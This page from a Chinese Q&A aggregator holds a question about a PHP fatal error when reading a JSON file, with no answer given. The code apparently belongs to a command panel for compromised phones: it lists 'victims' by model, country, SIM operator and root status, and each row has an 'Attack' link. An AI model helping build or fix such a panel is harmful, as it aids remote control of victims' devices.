如何为 php 构建 .json 文件

问题描述

我有这个 php 代码可以访问一个 json 文件。然而,json 文件是空的,我需要输入一个示例值。但是,我似乎无法正确构建它。代码:

<?php
     $strJsonFileContents = file_get_contents("../private/storage/device_list.json");
     $victim_array = json_decode($strJsonFileContents,true);
     $index_victim = 1;

     foreach ($victim_array["device_list"] as $field => $value) {

     echo '<tr>';
     echo '<td>'.$index_victim.'</td>';
     echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>';
     echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
     echo '<td>'.$value['COUNTRY'].'</td>';
     echo '<td>'.$value['SIM_OPERATOR'].'</td>';
     echo '<td>'.$value['CHARGE'].'</td>';
     echo '<td>'.$value['IS_ROOTED'].'</td>';
     echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
     echo '</tr>';
     $index_victim += 1;
     }
?>

这是我一直在尝试的json的结构。

{
    "device_list": {
        "device1": {
            "DEVICE_MODEL": "Test","SOFTWARE_VERSION": "Test","COUNTRY": "Test","SIM_OPERATOR": "Test","CHARGE": "Test","IS_ROOTED": "Test","UNIQUE_ID": "Test"
        }
    }
}

返回错误

Fatal error: Uncaught TypeError: Cannot access offset of type string on string in C:\Server\Data\htdocs\hidden\public\index.php:87 Stack trace: #0 {main} thrown in C:\Server\Data\htdocs\hidden\public\index.php on line 87

涉及第 87 行的行:

echo '<tr>';
                                echo '<td>'.$index_victim.'</td>';
                                echo '<td>'.strtoupper($value['DEVICE_MODEL']).'</td>'; (line 87)
                                echo '<td>'.$value['SOFTWARE_VERSION'].'</td>';
                                echo '<td>'.$value['COUNTRY'].'</td>';
                                echo '<td>'.$value['SIM_OPERATOR'].'</td>';
                                echo '<td>'.$value['CHARGE'].'</td>';
                                echo '<td>'.$value['IS_ROOTED'].'</td>';
                                echo '<td><a href="kontrol-panel.php?target='.$value['UNIQUE_ID'].'&type=1'.'">Attack</a></td>';
                                echo '</tr>';
                                $index_victim += 1;

如何正确构建 json 文件?

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)